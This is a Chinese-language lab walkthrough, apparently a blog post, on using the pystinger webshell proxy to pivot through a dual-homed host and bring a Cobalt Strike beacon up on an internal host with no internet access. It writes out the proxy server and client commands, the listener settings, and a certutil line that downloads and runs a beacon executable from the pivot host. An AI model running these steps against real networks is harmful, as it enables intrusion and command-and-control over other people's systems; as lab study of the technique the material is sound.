Pystinger Socks4a上线内网不出网主机
文章参考:https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
0x01 工具及环境搭建
(1)下载pystinger (Release模块)
https://github.com/FunnyWolf/pystinger
(2)内网环境:
攻击机:192.168.43.203(kali)与192.168.43.131(win) 受害机1(win7):192.168.43.50,192.168.59.133 (双网卡,存在内网) 受害机2(winserver2008):192.168.59.18 (仅主机,内网,仅一台不出网的59.18)
0x02 Pystinger简单介绍
pystinger 可通过 webshell 实现ss4代理、端口映射,可做正向代理,又名为毒刺,下载release版本的如下所示,与frp类似,是一款需要在肉鸡与攻击机一同运行的代理工具。
0x03 Pystinger上线不出网主机
根据靶场可知,受害机2不出网。如何通过代理完成上线2台主机?
设:已获取受害机1(win7):192.168.43.50的webshell,内网网段,192.168.59.18(受害机2)不出网。
(1)获取win7肉鸡的shell:
(2)将Pystinger的服务端stinger_server.exe、proxy.php上传至目标可读写目录中,访问proxy.php返回UTF-8
表示正常,接着执行以下命令启动服务端:
start stinger_server.exe 0.0.0.0 #注:必须设置为0.0.0.0,否则无法成功!
(3)将客户端stinger_client上传至攻击机,然后执行将Socks4的代理流量转发到攻击机60000端口上,只要把-w参数替换为自己上传的代理脚本地址即可
stinger_client -w http://192.168.43.50/proxy.php -l 127.0.0.1 -p 60000
用法一:单主机上线
已控主机为单主机,不出外网且仅允许访问目标Web的80端口。如遇这种场景时可在执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填127.0.0.1
,HTTP Port填60020
用法二:多主机上线
已控主机为内网其中一台主机,双网卡(192.168.43.X为出网段,192.168.59.X为不出网段),在对不出网段中的其他内网主机进行横向移动上线时,可,执行完以上操作后在CobaltStrike创建一个Listener,HTTP Hosts填192.168.59.133(即那台双网卡的肉鸡)
,HTTP Port填60020
CobaltStrike监听设置
-
单主机上线:
CobaltStrike->Listeners->Add->127.0.0.1:60021
; -
多主机上线:
CobaltStrike->Listeners->Add->192.168.59.133:60020
;
-
目标主机为双网卡时必须用不出网IP段的内网IP地址进行监听才能上线不出网主机
(4)从攻击机上传马儿到受害机1目录下:
(5)通过配置代理,可以访问内网那台不出网的59.18主机了,并且内网59.18主机存在某个漏洞,如何上线该不出网主机呢?设,59.18存在phpmyadmin弱口令,通过frp等代理手段(win下尝试直接使用毒刺做proxifer代理不成功,故试试frp代理),可获取该phpmyadmin的shell并执行上传exe文件的命令,但是不出网,仅能使用frp访问shell,如何在外网的CS上线该内网主机呢?
(6)在webshell中上传或是下载之前配置好监听器的exe马儿:
certutil -urlcache -split -f http://192.168.59.133/artifact.exe C:\beacon.exe
(7)执行该beacon.exe后可上线内网不出网的shell:
(8)简单说一下过程:因为43.50那台双网卡主机设置的代理是0.0.0.0,连接时,一旦设置了一个43.50(即59.133)的马儿,就会主动去监听这台双网卡的端口,当然,端口也为:60020,也就是,在不出网的主机运行:beacon.exe后,exe程序会去找59.133这台主机的60020端口(与外网连接),又因为59.133这台主机是出网的,就会跟CS相连,但是我始终想不清楚,为什么上线的是59.18,难道是因为是59.18这台主机执行的点击操作?又或者,其实是这个木马的两个功能,一个功能用来点击上线,一个功能用来寻找上线端口。个人猜想,搞了一天终于成功了,这个一点也不稳定,唉,难搞奥!(端口隐射)